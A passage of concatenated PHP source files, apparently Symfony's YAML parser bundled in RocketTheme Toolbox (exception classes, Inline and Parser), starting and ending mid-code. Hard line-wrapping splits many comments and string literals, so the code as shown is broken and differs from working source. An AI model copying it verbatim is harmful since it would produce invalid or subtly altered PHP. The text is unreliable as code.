// Or create/replace field with @data-field.
$field[$property] = $data;
}
}
}
}
<?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace RocketTheme\Toolbox\Compat\Yaml\Exception;
/**
* Exception interface for all exceptions thrown by the component.
*
* @author Fabien Potencier <fabien@symfony.com>
*/
interface ExceptionInterface
{
}
<?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace RocketTheme\Toolbox\Compat\Yaml\Exception;
/**
* Exception class thrown when an error occurs during parsing.
*
* @author Fabien Potencier <fabien@symfony.com>
*/
class ParseException extends RuntimeException
{
private $parsedFile;
private $parsedLine;
private $snippet;
private $rawMessage;
/**
* @param string $message The error message
* @param int $parsedLine The line where the error occurred
* @param string|null $snippet The snippet of code near the
problem
* @param string|null $parsedFile The file name where the error
occurred
* @param \Exception|null $previous The previous exception
*/
public function __construct($message, $parsedLine = -1, $snippet =
null, $parsedFile = null, \Exception $previous = null)
{
$this->parsedFile = $parsedFile;
$this->parsedLine = $parsedLine;
$this->snippet = $snippet;
$this->rawMessage = $message;
$this->updateRepr();
parent::__construct($this->message, 0, $previous);
}
/**
* Gets the snippet of code near the error.
*
* @return string The snippet of code
*/
public function getSnippet()
{
return $this->snippet;
}
/**
* Sets the snippet of code near the error.
*
* @param string $snippet The code snippet
*/
public function setSnippet($snippet)
{
$this->snippet = $snippet;
$this->updateRepr();
}
/**
* Gets the filename where the error occurred.
*
* This method returns null if a string is parsed.
*
* @return string The filename
*/
public function getParsedFile()
{
return $this->parsedFile;
}
/**
* Sets the filename where the error occurred.
*
* @param string $parsedFile The filename
*/
public function setParsedFile($parsedFile)
{
$this->parsedFile = $parsedFile;
$this->updateRepr();
}
/**
* Gets the line where the error occurred.
*
* @return int The file line
*/
public function getParsedLine()
{
return $this->parsedLine;
}
/**
* Sets the line where the error occurred.
*
* @param int $parsedLine The file line
*/
public function setParsedLine($parsedLine)
{
$this->parsedLine = $parsedLine;
$this->updateRepr();
}
private function updateRepr()
{
$this->message = $this->rawMessage;
$dot = false;
if ('.' === substr($this->message, -1)) {
$this->message = substr($this->message, 0, -1);
$dot = true;
}
if (null !== $this->parsedFile) {
if (\PHP_VERSION_ID >= 50400) {
$jsonOptions = JSON_UNESCAPED_SLASHES |
JSON_UNESCAPED_UNICODE;
} else {
$jsonOptions = 0;
}
$this->message .= sprintf(' in %s',
json_encode($this->parsedFile, $jsonOptions));
}
if ($this->parsedLine >= 0) {
$this->message .= sprintf(' at line %d',
$this->parsedLine);
}
if ($this->snippet) {
$this->message .= sprintf(' (near
"%s")', $this->snippet);
}
if ($dot) {
$this->message .= '.';
}
}
}
<?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace RocketTheme\Toolbox\Compat\Yaml\Exception;
/**
* Exception class thrown when an error occurs during parsing.
*
* @author Romain Neutron <imprec@gmail.com>
*/
class RuntimeException extends \RuntimeException implements
ExceptionInterface
{
}
<?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace RocketTheme\Toolbox\Compat\Yaml;
use RocketTheme\Toolbox\Compat\Yaml\Exception\ParseException;
/**
* Inline implements a YAML parser/dumper for the YAML inline syntax.
*
* @author Fabien Potencier <fabien@symfony.com>
*/
class Inline
{
const REGEX_QUOTED_STRING =
'(?:"([^"\\\\]*+(?:\\\\.[^"\\\\]*+)*+)"|\'([^\']*+(?:\'\'[^\']*+)*+)\')';
private static $exceptionOnInvalidType = false;
private static $objectSupport = false;
private static $objectForMap = false;
/**
* Converts a YAML string to a PHP value.
*
* @param string $value A YAML string
* @param bool $exceptionOnInvalidType True if an exception must be
thrown on invalid types (a PHP resource or object), false otherwise
* @param bool $objectSupport True if object support is
enabled, false otherwise
* @param bool $objectForMap True if maps should return a
stdClass instead of array()
* @param array $references Mapping of variable names to
values
*
* @return mixed A PHP value
*
* @throws ParseException
*/
public static function parse($value, $exceptionOnInvalidType = false,
$objectSupport = false, $objectForMap = false, $references = array())
{
self::$exceptionOnInvalidType = $exceptionOnInvalidType;
self::$objectSupport = $objectSupport;
self::$objectForMap = $objectForMap;
$value = trim($value);
if ('' === $value) {
return '';
}
if (2 /* MB_OVERLOAD_STRING */ & (int)
ini_get('mbstring.func_overload')) {
$mbEncoding = mb_internal_encoding();
mb_internal_encoding('ASCII');
}
$i = 0;
switch ($value[0]) {
case '[':
$result = self::parseSequence($value, $i, $references);
++$i;
break;
case '{':
$result = self::parseMapping($value, $i, $references);
++$i;
break;
default:
$result = self::parseScalar($value, null,
array('"', "'"), $i, true, $references);
}
// some comments are allowed at the end
if (preg_replace('/\s+#.*$/A', '',
substr($value, $i))) {
throw new ParseException(sprintf('Unexpected characters
near "%s".', substr($value, $i)));
}
if (isset($mbEncoding)) {
mb_internal_encoding($mbEncoding);
}
return $result;
}
/**
* Check if given array is hash or just normal indexed array.
*
* @internal
*
* @param array $value The PHP array to check
*
* @return bool true if value is hash array, false otherwise
*/
public static function isHash(array $value)
{
$expectedKey = 0;
foreach ($value as $key => $val) {
if ($key !== $expectedKey++) {
return true;
}
}
return false;
}
/**
* Parses a YAML scalar.
*
* @param string $scalar
* @param string[] $delimiters
* @param string[] $stringDelimiters
* @param int &$i
* @param bool $evaluate
* @param array $references
*
* @return string
*
* @throws ParseException When malformed inline YAML string is parsed
*
* @internal
*/
public static function parseScalar($scalar, $delimiters = null,
$stringDelimiters = array('"', "'"), &$i
= 0, $evaluate = true, $references = array())
{
if (in_array($scalar[$i], $stringDelimiters)) {
// quoted scalar
$output = self::parseQuotedScalar($scalar, $i);
if (null !== $delimiters) {
$tmp = ltrim(substr($scalar, $i), ' ');
if (!in_array($tmp[0], $delimiters)) {
throw new ParseException(sprintf('Unexpected
characters (%s).', substr($scalar, $i)));
}
}
} else {
// "normal" string
if (!$delimiters) {
$output = substr($scalar, $i);
$i += strlen($output);
// remove comments
if (Parser::preg_match('/[ \t]+#/', $output,
$match, PREG_OFFSET_CAPTURE)) {
$output = substr($output, 0, $match[0][1]);
}
} elseif
(Parser::preg_match('/^(.+?)('.implode('|',
$delimiters).')/', substr($scalar, $i), $match)) {
$output = $match[1];
$i += strlen($output);
} else {
throw new ParseException(sprintf('Malformed inline
YAML string: %s.', $scalar));
}
// a non-quoted string cannot start with @ or ` (reserved) nor
with a scalar indicator (| or >)
if ($output && ('@' === $output[0] ||
'`' === $output[0] || '|' === $output[0] ||
'>' === $output[0])) {
@trigger_error(sprintf('Not quoting the scalar
"%s" starting with "%s" is deprecated since Symfony 2.8
and will throw a ParseException in 3.0.', $output, $output[0]),
E_USER_DEPRECATED);
// to be thrown in 3.0
// throw new ParseException(sprintf('The reserved
indicator "%s" cannot start a plain scalar; you need to quote the
scalar.', $output[0]));
}
if ($evaluate) {
$output = self::evaluateScalar($output, $references);
}
}
return $output;
}
/**
* Parses a YAML quoted scalar.
*
* @param string $scalar
* @param int &$i
*
* @return string
*
* @throws ParseException When malformed inline YAML string is parsed
*/
private static function parseQuotedScalar($scalar, &$i)
{
if
(!Parser::preg_match('/'.self::REGEX_QUOTED_STRING.'/Au',
substr($scalar, $i), $match)) {
throw new ParseException(sprintf('Malformed inline YAML
string: %s.', substr($scalar, $i)));
}
$output = substr($match[0], 1, strlen($match[0]) - 2);
$unescaper = new Unescaper();
if ('"' == $scalar[$i]) {
$output = $unescaper->unescapeDoubleQuotedString($output);
} else {
$output = $unescaper->unescapeSingleQuotedString($output);
}
$i += strlen($match[0]);
return $output;
}
/**
* Parses a YAML sequence.
*
* @param string $sequence
* @param int &$i
* @param array $references
*
* @return array
*
* @throws ParseException When malformed inline YAML string is parsed
*/
private static function parseSequence($sequence, &$i = 0,
$references = array())
{
$output = array();
$len = strlen($sequence);
++$i;
// [foo, bar, ...]
while ($i < $len) {
switch ($sequence[$i]) {
case '[':
// nested sequence
$output[] = self::parseSequence($sequence, $i,
$references);
break;
case '{':
// nested mapping
$output[] = self::parseMapping($sequence, $i,
$references);
break;
case ']':
return $output;
case ',':
case ' ':
break;
default:
$isQuoted = in_array($sequence[$i],
array('"', "'"));
$value = self::parseScalar($sequence,
array(',', ']'), array('"',
"'"), $i, true, $references);
// the value can be an array if a reference has been
resolved to an array var
if (!is_array($value) && !$isQuoted &&
false !== strpos($value, ': ')) {
// embedded mapping?
try {
$pos = 0;
$value =
self::parseMapping('{'.$value.'}', $pos, $references);
} catch (\InvalidArgumentException $e) {
// no, it's not
}
}
$output[] = $value;
--$i;
}
++$i;
}
throw new ParseException(sprintf('Malformed inline YAML
string: %s.', $sequence));
}
/**
* Parses a YAML mapping.
*
* @param string $mapping
* @param int &$i
* @param array $references
*
* @return array|\stdClass
*
* @throws ParseException When malformed inline YAML string is parsed
*/
private static function parseMapping($mapping, &$i = 0, $references
= array())
{
$output = array();
$len = strlen($mapping);
++$i;
$allowOverwrite = false;
// {foo: bar, bar:foo, ...}
while ($i < $len) {
switch ($mapping[$i]) {
case ' ':
case ',':
++$i;
continue 2;
case '}':
if (self::$objectForMap) {
return (object) $output;
}
return $output;
}
// key
$key = self::parseScalar($mapping, array(':', '
'), array('"', "'"), $i, false);
if ('<<' === $key) {
$allowOverwrite = true;
}
// value
$done = false;
while ($i < $len) {
switch ($mapping[$i]) {
case '[':
// nested sequence
$value = self::parseSequence($mapping, $i,
$references);
// Spec: Keys MUST be unique; first one wins.
// Parser cannot abort this mapping earlier, since
lines
// are processed sequentially.
// But overwriting is allowed when a merge node is
used in current block.
if ('<<' === $key) {
foreach ($value as $parsedValue) {
$output += $parsedValue;
}
} elseif ($allowOverwrite || !isset($output[$key]))
{
$output[$key] = $value;
}
$done = true;
break;
case '{':
// nested mapping
$value = self::parseMapping($mapping, $i,
$references);
// Spec: Keys MUST be unique; first one wins.
// Parser cannot abort this mapping earlier, since
lines
// are processed sequentially.
// But overwriting is allowed when a merge node is
used in current block.
if ('<<' === $key) {
$output += $value;
} elseif ($allowOverwrite || !isset($output[$key]))
{
$output[$key] = $value;
}
$done = true;
break;
case ':':
case ' ':
break;
default:
$value = self::parseScalar($mapping,
array(',', '}'), array('"',
"'"), $i, true, $references);
// Spec: Keys MUST be unique; first one wins.
// Parser cannot abort this mapping earlier, since
lines
// are processed sequentially.
// But overwriting is allowed when a merge node is
used in current block.
if ('<<' === $key) {
$output += $value;
} elseif ($allowOverwrite || !isset($output[$key]))
{
$output[$key] = $value;
}
$done = true;
--$i;
}
++$i;
if ($done) {
continue 2;
}
}
}
throw new ParseException(sprintf('Malformed inline YAML
string: %s.', $mapping));
}
/**
* Evaluates scalars and replaces magic values.
*
* @param string $scalar
* @param array $references
*
* @return mixed The evaluated YAML string
*
* @throws ParseException when object parsing support was disabled and
the parser detected a PHP object or when a reference could not be resolved
*/
private static function evaluateScalar($scalar, $references = array())
{
$scalar = trim($scalar);
$scalarLower = strtolower($scalar);
if (0 === strpos($scalar, '*')) {
if (false !== $pos = strpos($scalar, '#')) {
$value = substr($scalar, 1, $pos - 2);
} else {
$value = substr($scalar, 1);
}
// an unquoted *
if (false === $value || '' === $value) {
throw new ParseException('A reference must contain at
least one character.');
}
if (!array_key_exists($value, $references)) {
throw new ParseException(sprintf('Reference
"%s" does not exist.', $value));
}
return $references[$value];
}
switch (true) {
case 'null' === $scalarLower:
case '' === $scalar:
case '~' === $scalar:
return;
case 'true' === $scalarLower:
return true;
case 'false' === $scalarLower:
return false;
// Optimise for returning strings.
case '+' === $scalar[0] || '-' ===
$scalar[0] || '.' === $scalar[0] || '!' === $scalar[0]
|| is_numeric($scalar[0]):
switch (true) {
case 0 === strpos($scalar, '!str'):
return (string) substr($scalar, 5);
case 0 === strpos($scalar, '! '):
return (int) self::parseScalar(substr($scalar, 2));
case 0 === strpos($scalar, '!php/object:'):
if (self::$objectSupport) {
return unserialize(substr($scalar, 12));
}
if (self::$exceptionOnInvalidType) {
throw new ParseException('Object support
when parsing a YAML file has been disabled.');
}
return;
case 0 === strpos($scalar, '!!php/object:'):
if (self::$objectSupport) {
return unserialize(substr($scalar, 13));
}
if (self::$exceptionOnInvalidType) {
throw new ParseException('Object support
when parsing a YAML file has been disabled.');
}
return;
case 0 === strpos($scalar, '!!float '):
return (float) substr($scalar, 8);
case ctype_digit($scalar):
$raw = $scalar;
$cast = (int) $scalar;
return '0' == $scalar[0] ?
octdec($scalar) : (((string) $raw == (string) $cast) ? $cast : $raw);
case '-' === $scalar[0] &&
ctype_digit(substr($scalar, 1)):
$raw = $scalar;
$cast = (int) $scalar;
return '0' == $scalar[1] ?
octdec($scalar) : (((string) $raw === (string) $cast) ? $cast : $raw);
case is_numeric($scalar):
case Parser::preg_match(self::getHexRegex(), $scalar):
return '0x' === $scalar[0].$scalar[1] ?
hexdec($scalar) : (float) $scalar;
case '.inf' === $scalarLower:
case '.nan' === $scalarLower:
return -log(0);
case '-.inf' === $scalarLower:
return log(0);
case
Parser::preg_match('/^(-|\+)?[0-9,]+(\.[0-9]+)?$/', $scalar):
return (float) str_replace(',',
'', $scalar);
case Parser::preg_match(self::getTimestampRegex(),
$scalar):
$timeZone = date_default_timezone_get();
date_default_timezone_set('UTC');
$time = strtotime($scalar);
date_default_timezone_set($timeZone);
return $time;
}
// no break
default:
return (string) $scalar;
}
}
/**
* Gets a regex that matches a YAML date.
*
* @return string The regular expression
*
* @see http://www.yaml.org/spec/1.2/spec.html#id2761573
*/
private static function getTimestampRegex()
{
return <<<EOF
~^
(?P<year>[0-9][0-9][0-9][0-9])
-(?P<month>[0-9][0-9]?)
-(?P<day>[0-9][0-9]?)
(?:(?:[Tt]|[ \t]+)
(?P<hour>[0-9][0-9]?)
:(?P<minute>[0-9][0-9])
:(?P<second>[0-9][0-9])
(?:\.(?P<fraction>[0-9]*))?
(?:[
\t]*(?P<tz>Z|(?P<tz_sign>[-+])(?P<tz_hour>[0-9][0-9]?)
(?::(?P<tz_minute>[0-9][0-9]))?))?)?
$~x
EOF;
}
/**
* Gets a regex that matches a YAML number in hexadecimal notation.
*
* @return string
*/
private static function getHexRegex()
{
return '~^0x[0-9a-f]++$~i';
}
}
<?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace RocketTheme\Toolbox\Compat\Yaml;
use RocketTheme\Toolbox\Compat\Yaml\Exception\ParseException;
/**
* Parser parses YAML strings to convert them to PHP arrays.
*
* @author Fabien Potencier <fabien@symfony.com>
*/
class Parser
{
const BLOCK_SCALAR_HEADER_PATTERN =
'(?P<separator>\||>)(?P<modifiers>\+|\-|\d+|\+\d+|\-\d+|\d+\+|\d+\-)?(?P<comments>
+#.*)?';
// BC - wrongly named
const FOLDED_SCALAR_PATTERN = self::BLOCK_SCALAR_HEADER_PATTERN;
private $offset = 0;
private $totalNumberOfLines;
private $lines = array();
private $currentLineNb = -1;
private $currentLine = '';
private $refs = array();
private $skippedLineNumbers = array();
private $locallySkippedLineNumbers = array();
/**
* @param int $offset The offset of YAML document
(used for line numbers in error messages)
* @param int|null $totalNumberOfLines The overall number of lines
being parsed
* @param int[] $skippedLineNumbers Number of comment lines that
have been skipped by the parser
*/
public function __construct($offset = 0, $totalNumberOfLines = null,
array $skippedLineNumbers = array())
{
$this->offset = $offset;
$this->totalNumberOfLines = $totalNumberOfLines;
$this->skippedLineNumbers = $skippedLineNumbers;
}
/**
* Parses a YAML string to a PHP value.
*
* @param string $value A YAML string
* @param bool $exceptionOnInvalidType True if an exception must be
thrown on invalid types (a PHP resource or object), false otherwise
* @param bool $objectSupport True if object support is
enabled, false otherwise
* @param bool $objectForMap True if maps should return a
stdClass instead of array()
*
* @return mixed A PHP value
*
* @throws ParseException If the YAML is not valid
*/
public function parse($value, $exceptionOnInvalidType = false,
$objectSupport = false, $objectForMap = false)
{
if (false === preg_match('//u', $value)) {
throw new ParseException('The YAML value does not appear
to be valid UTF-8.');
}
$this->refs = array();
$mbEncoding = null;
$e = null;
$data = null;
if (2 /* MB_OVERLOAD_STRING */ & (int)
ini_get('mbstring.func_overload')) {
$mbEncoding = mb_internal_encoding();
mb_internal_encoding('UTF-8');
}
try {
$data = $this->doParse($value, $exceptionOnInvalidType,
$objectSupport, $objectForMap);
} catch (\Exception $e) {
} catch (\Throwable $e) {
}
if (null !== $mbEncoding) {
mb_internal_encoding($mbEncoding);
}
$this->lines = array();
$this->currentLine = '';
$this->refs = array();
$this->skippedLineNumbers = array();
$this->locallySkippedLineNumbers = array();
if (null !== $e) {
throw $e;
}
return $data;
}
private function doParse($value, $exceptionOnInvalidType = false,
$objectSupport = false, $objectForMap = false)
{
$this->currentLineNb = -1;
$this->currentLine = '';
$value = $this->cleanup($value);
$this->lines = explode("\n", $value);
$this->locallySkippedLineNumbers = array();
if (null === $this->totalNumberOfLines) {
$this->totalNumberOfLines = count($this->lines);
}
$data = array();
$context = null;
$allowOverwrite = false;
while ($this->moveToNextLine()) {
if ($this->isCurrentLineEmpty()) {
continue;
}
// tab?
if ("\t" === $this->currentLine[0]) {
throw new ParseException('A YAML file cannot contain
tabs as indentation.', $this->getRealCurrentLineNb() + 1,
$this->currentLine);
}
$isRef = $mergeNode = false;
if
(self::preg_match('#^\-((?P<leadspaces>\s+)(?P<value>.+))?$#u',
rtrim($this->currentLine), $values)) {
if ($context && 'mapping' == $context) {
throw new ParseException('You cannot define a
sequence item when in a mapping', $this->getRealCurrentLineNb() +
1, $this->currentLine);
}
$context = 'sequence';
if (isset($values['value']) &&
self::preg_match('#^&(?P<ref>[^ ]+)
*(?P<value>.*)#u', $values['value'], $matches)) {
$isRef = $matches['ref'];
$values['value'] =
$matches['value'];
}
// array
if (!isset($values['value']) || '' ==
trim($values['value'], ' ') || 0 ===
strpos(ltrim($values['value'], ' '), '#')) {
$data[] =
$this->parseBlock($this->getRealCurrentLineNb() + 1,
$this->getNextEmbedBlock(null, true), $exceptionOnInvalidType,
$objectSupport, $objectForMap);
} else {
if (isset($values['leadspaces'])
&&
self::preg_match('#^(?P<key>'.Inline::REGEX_QUOTED_STRING.'|[^
\'"\{\[].*?) *\:(\s+(?P<value>.+))?$#u',
rtrim($values['value']), $matches)
) {
// this is a compact notation element, add to next
block and parse
$block = $values['value'];
if ($this->isNextLineIndented()) {
$block .=
"\n".$this->getNextEmbedBlock($this->getCurrentLineIndentation()
+ strlen($values['leadspaces']) + 1);
}
$data[] =
$this->parseBlock($this->getRealCurrentLineNb(), $block,
$exceptionOnInvalidType, $objectSupport, $objectForMap);
} else {
$data[] =
$this->parseValue($values['value'], $exceptionOnInvalidType,
$objectSupport, $objectForMap, $context);
}
}
if ($isRef) {
$this->refs[$isRef] = end($data);
}
} elseif (
self::preg_match('#^(?P<key>'.Inline::REGEX_QUOTED_STRING.'|[^
\'"\[\{].*?) *\:(\s+(?P<value>.+))?$#u',
rtrim($this->currentLine), $values)
&& (false === strpos($values['key'],
' #') || in_array($values['key'][0],
array('"', "'")))
) {
if ($context && 'sequence' == $context) {
throw new ParseException('You cannot define a
mapping item when in a sequence', $this->currentLineNb + 1,
$this->currentLine);
}
$context = 'mapping';
// force correct settings
Inline::parse(null, $exceptionOnInvalidType,
$objectSupport, $objectForMap, $this->refs);
try {
$key = Inline::parseScalar($values['key']);
} catch (ParseException $e) {
$e->setParsedLine($this->getRealCurrentLineNb() +
1);
$e->setSnippet($this->currentLine);
throw $e;
}
// Convert float keys to strings, to avoid being converted
to integers by PHP
if (is_float($key)) {
$key = (string) $key;
}
if ('<<' === $key &&
(!isset($values['value']) ||
!self::preg_match('#^&(?P<ref>[^ ]+)#u',
$values['value'], $refMatches))) {
$mergeNode = true;
$allowOverwrite = true;
if (isset($values['value']) && 0 ===
strpos($values['value'], '*')) {
$refName = substr($values['value'], 1);
if (!array_key_exists($refName, $this->refs)) {
throw new
ParseException(sprintf('Reference "%s" does not
exist.', $refName), $this->getRealCurrentLineNb() + 1,
$this->currentLine);
}
$refValue = $this->refs[$refName];
if (!is_array($refValue)) {
throw new ParseException('YAML merge keys
used with a scalar value instead of an array.',
$this->getRealCurrentLineNb() + 1, $this->currentLine);
}
$data += $refValue; // array union
} else {
if (isset($values['value']) &&
'' !== $values['value']) {
$value = $values['value'];
} else {
$value = $this->getNextEmbedBlock();
}
$parsed =
$this->parseBlock($this->getRealCurrentLineNb() + 1, $value,
$exceptionOnInvalidType, $objectSupport, $objectForMap);
if (!is_array($parsed)) {
throw new ParseException('YAML merge keys
used with a scalar value instead of an array.',
$this->getRealCurrentLineNb() + 1, $this->currentLine);
}
if (isset($parsed[0])) {
// If the value associated with the merge key
is a sequence, then this sequence is expected to contain mapping nodes
// and each of these nodes is merged in turn
according to its order in the sequence. Keys in mapping nodes earlier
// in the sequence override keys specified in
later mapping nodes.
foreach ($parsed as $parsedItem) {
if (!is_array($parsedItem)) {
throw new ParseException('Merge
items must be arrays.', $this->getRealCurrentLineNb() + 1,
$parsedItem);
}
$data += $parsedItem; // array union
}
} else {
// If the value associated with the key is a
single mapping node, each of its key/value pairs is inserted into the
// current mapping, unless the key already
exists in it.
$data += $parsed; // array union
}
}
} elseif ('<<' !== $key &&
isset($values['value']) &&
self::preg_match('#^&(?P<ref>[^ ]+)
*(?P<value>.*)#u', $values['value'], $matches)) {
$isRef = $matches['ref'];
$values['value'] =
$matches['value'];
}
if ($mergeNode) {
// Merge keys
} elseif (!isset($values['value']) ||
'' == trim($values['value'], ' ') || 0 ===
strpos(ltrim($values['value'], ' '), '#') ||
'<<' === $key) {
// hash
// if next line is less indented or equal, then it
means that the current value is null
if (!$this->isNextLineIndented() &&
!$this->isNextLineUnIndentedCollection()) {
// Spec: Keys MUST be unique; first one wins.
// But overwriting is allowed when a merge node is
used in current block.
if ($allowOverwrite || !isset($data[$key])) {
$data[$key] = null;
}
} else {
$value =
$this->parseBlock($this->getRealCurrentLineNb() + 1,
$this->getNextEmbedBlock(), $exceptionOnInvalidType, $objectSupport,
$objectForMap);
if ('<<' === $key) {
$this->refs[$refMatches['ref']] =
$value;
$data += $value;
} elseif ($allowOverwrite || !isset($data[$key])) {
// Spec: Keys MUST be unique; first one wins.
// But overwriting is allowed when a merge node
is used in current block.
$data[$key] = $value;
}
}
} else {
$value =
$this->parseValue($values['value'], $exceptionOnInvalidType,
$objectSupport, $objectForMap, $context);
// Spec: Keys MUST be unique; first one wins.
// But overwriting is allowed when a merge node is used
in current block.
if ($allowOverwrite || !isset($data[$key])) {
$data[$key] = $value;
}
}
if ($isRef) {
$this->refs[$isRef] = $data[$key];
}
} else {
// multiple documents are not supported
if ('---' === $this->currentLine) {
throw new ParseException('Multiple documents are
not supported.', $this->currentLineNb + 1, $this->currentLine);
}
// 1-liner optionally followed by newline(s)
if (is_string($value) && $this->lines[0] ===
trim($value)) {
try {
$value = Inline::parse($this->lines[0],
$exceptionOnInvalidType, $objectSupport, $objectForMap, $this->refs);
} catch (ParseException $e) {
$e->setParsedLine($this->getRealCurrentLineNb() + 1);
$e->setSnippet($this->currentLine);
throw $e;
}
return $value;
}
throw new ParseException('Unable to parse.',
$this->getRealCurrentLineNb() + 1, $this->currentLine);
}
}
if ($objectForMap && !is_object($data) &&
'mapping' === $context) {
$object = new \stdClass();
foreach ($data as $key => $value) {
$object->$key = $value;
}
$data = $object;
}
return empty($data) ? null : $data;
}
private function parseBlock($offset, $yaml, $exceptionOnInvalidType,
$objectSupport, $objectForMap)
{
$skippedLineNumbers = $this->skippedLineNumbers;
foreach ($this->locallySkippedLineNumbers as $lineNumber) {
if ($lineNumber < $offset) {
continue;
}
$skippedLineNumbers[] = $lineNumber;
}
$parser = new self($offset, $this->totalNumberOfLines,
$skippedLineNumbers);
$parser->refs = &$this->refs;
return $parser->doParse($yaml, $exceptionOnInvalidType,
$objectSupport, $objectForMap);
}
/**
* Returns the current line number (takes the offset into account).
*
* @return int The current line number
*/
private function getRealCurrentLineNb()
{
$realCurrentLineNumber = $this->currentLineNb +
$this->offset;
foreach ($this->skippedLineNumbers as $skippedLineNumber) {
if ($skippedLineNumber > $realCurrentLineNumber) {
break;
}
++$realCurrentLineNumber;
}
return $realCurrentLineNumber;
}
/**
* Returns the current line indentation.
*
* @return int The current line indentation
*/
private function getCurrentLineIndentation()
{
return strlen($this->currentLine) -
strlen(ltrim($this->currentLine, ' '));
}
/**
* Returns the next embed block of YAML.
*
* @param int $indentation The indent level at which the block is to
be read, or null for default
* @param bool $inSequence True if the enclosing data structure is a
sequence
*
* @return string A YAML string
*
* @throws ParseException When indentation problem are detected
*/
private function getNextEmbedBlock($indentation = null, $inSequence =
false)
{
$oldLineIndentation = $this->getCurrentLineIndentation();
$blockScalarIndentations = array();
if ($this->isBlockScalarHeader()) {
$blockScalarIndentations[] =
$this->getCurrentLineIndentation();
}
if (!$this->moveToNextLine()) {
return;
}
if (null === $indentation) {
$newIndent = $this->getCurrentLineIndentation();
$unindentedEmbedBlock =
$this->isStringUnIndentedCollectionItem();
if (!$this->isCurrentLineEmpty() && 0 === $newIndent
&& !$unindentedEmbedBlock) {
throw new ParseException('Indentation problem.',
$this->getRealCurrentLineNb() + 1, $this->currentLine);
}
} else {
$newIndent = $indentation;
}
$data = array();
if ($this->getCurrentLineIndentation() >= $newIndent) {
$data[] = substr($this->currentLine, $newIndent);
} else {
$this->moveToPreviousLine();
return;
}
if ($inSequence && $oldLineIndentation === $newIndent
&& isset($data[0][0]) && '-' === $data[0][0]) {
// the previous line contained a dash but no item content, this
line is a sequence item with the same indentation
// and therefore no nested list or mapping
$this->moveToPreviousLine();
return;
}
$isItUnindentedCollection =
$this->isStringUnIndentedCollectionItem();
if (empty($blockScalarIndentations) &&
$this->isBlockScalarHeader()) {
$blockScalarIndentations[] =
$this->getCurrentLineIndentation();
}
$previousLineIndentation = $this->getCurrentLineIndentation();
while ($this->moveToNextLine()) {
$indent = $this->getCurrentLineIndentation();
// terminate all block scalars that are more indented than the
current line
if (!empty($blockScalarIndentations) && $indent <
$previousLineIndentation && '' !==
trim($this->currentLine)) {
foreach ($blockScalarIndentations as $key =>
$blockScalarIndentation) {
if ($blockScalarIndentation >=
$this->getCurrentLineIndentation()) {
unset($blockScalarIndentations[$key]);
}
}
}
if (empty($blockScalarIndentations) &&
!$this->isCurrentLineComment() &&
$this->isBlockScalarHeader()) {
$blockScalarIndentations[] =
$this->getCurrentLineIndentation();
}
$previousLineIndentation = $indent;
if ($isItUnindentedCollection &&
!$this->isCurrentLineEmpty() &&
!$this->isStringUnIndentedCollectionItem() && $newIndent ===
$indent) {
$this->moveToPreviousLine();
break;
}
if ($this->isCurrentLineBlank()) {
$data[] = substr($this->currentLine, $newIndent);
continue;
}
// we ignore "comment" lines only when we are not
inside a scalar block
if (empty($blockScalarIndentations) &&
$this->isCurrentLineComment()) {
// remember ignored comment lines (they are used later in
nested
// parser calls to determine real line numbers)
//
// CAUTION: beware to not populate the global property here
as it
// will otherwise influence the getRealCurrentLineNb() call
here
// for consecutive comment lines and subsequent embedded
blocks
$this->locallySkippedLineNumbers[] =
$this->getRealCurrentLineNb();
continue;
}
if ($indent >= $newIndent) {
$data[] = substr($this->currentLine, $newIndent);
} elseif (0 == $indent) {
$this->moveToPreviousLine();
break;
} else {
throw new ParseException('Indentation problem.',
$this->getRealCurrentLineNb() + 1, $this->currentLine);
}
}
return implode("\n", $data);
}
/**
* Moves the parser to the next line.
*
* @return bool
*/
private function moveToNextLine()
{
if ($this->currentLineNb >= count($this->lines) - 1) {
return false;
}
$this->currentLine = $this->lines[++$this->currentLineNb];
return true;
}
/**
* Moves the parser to the previous line.
*
* @return bool
*/
private function moveToPreviousLine()
{
if ($this->currentLineNb < 1) {
return false;
}
$this->currentLine = $this->lines[--$this->currentLineNb];
return true;
}
/**
* Parses a YAML value.
*
* @param string $value A YAML value
* @param bool $exceptionOnInvalidType True if an exception must be
thrown on invalid types false otherwise
* @param bool $objectSupport True if object support is
enabled, false otherwise
* @param bool $objectForMap True if maps should return a
stdClass instead of array()
* @param string $context The parser context (either
sequence or mapping)
*
* @return mixed A PHP value
*
* @throws ParseException When reference does not exist
*/
private function parseValue($value, $exceptionOnInvalidType,
$objectSupport, $objectForMap, $context)
{
if (0 === strpos($value, '*')) {
if (false !== $pos = strpos($value, '#')) {
$value = substr($value, 1, $pos - 2);
} else {
$value = substr($value, 1);
}
if (!array_key_exists($value, $this->refs)) {
throw new ParseException(sprintf('Reference
"%s" does not exist.', $value), $this->currentLineNb + 1,
$this->currentLine);
}
return $this->refs[$value];
}
if
(self::preg_match('/^'.self::BLOCK_SCALAR_HEADER_PATTERN.'$/',
$value, $matches)) {
$modifiers = isset($matches['modifiers']) ?
$matches['modifiers'] : '';
return
$this->parseBlockScalar($matches['separator'],
preg_replace('#\d+#', '', $modifiers), (int)
abs($modifiers));
}
try {
$parsedValue = Inline::parse($value, $exceptionOnInvalidType,
$objectSupport, $objectForMap, $this->refs);
if ('mapping' === $context &&
'"' !== $value[0] && "'" !==
$value[0] && '[' !== $value[0] && '{'
!== $value[0] && '!' !== $value[0] && false !==
strpos($parsedValue, ': ')) {
@trigger_error(sprintf('Using a colon in the unquoted
mapping value "%s" in line %d is deprecated since Symfony 2.8 and
will throw a ParseException in 3.0.', $value,
$this->getRealCurrentLineNb() + 1), E_USER_DEPRECATED);
// to be thrown in 3.0
// throw new ParseException('A colon cannot be used in
an unquoted mapping value.');
}
return $parsedValue;
} catch (ParseException $e) {
